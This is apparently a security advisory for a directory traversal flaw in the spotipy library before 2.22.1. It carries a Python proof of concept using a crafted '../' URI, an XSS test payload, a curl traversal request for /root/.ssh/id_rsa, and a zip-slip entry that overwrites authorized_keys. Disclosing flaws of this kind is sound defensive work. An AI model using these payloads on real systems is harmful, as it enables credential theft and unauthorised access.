Directory Traversal Affecting spotipy package, versions [,2.22.1)

spotipy is an A light weight Python library for the Spotify Web API

Affected versions of this package are vulnerable to Directory Traversal due to improper input validation. If a malicious URI is passed to the library, the library can be tricked into performing an operation on a different API endpoint than intended, which can contain

The POC expects SPOTIFY_CLIENT_ID and SPOTIFY_CLIENT_SECRET environment variables to be set to authenticate against the API.

import spotipy
from spotipy.oauth2 import SpotifyClientCredentials


def main():
    spotifyApi = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())
# This URL contains the example playlist ID from the spotify docs, a malicious
# playlist could instead contain a XSS payload in their title. A playlist with 
# such a title was also included in the initial report via mail to maintainer.
malicious_spotify_url = 'spotify:track:../playlists/3cEYpjA9oz9GiPac4AsH4n'


# Usage of the track function, expecting to get a non-user-controllable track name
# e.g. for displaying in a website.
# Our modified track uri however makes the library return the name of a playlist which
# may be created by anyone containing anything.
track = spotifyApi.track(malicious_spotify_url)

# Prints:
# 'Name of the track: Spotify Web API Testing playlist'
# A malicious playlist could also have an XSS payload as title, which would result in:
# 'Name of the track: <img src=x onerror=prompt(1)>'
print(f"Name of the track: {track['name']}")

if name == 'main':
    main()

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

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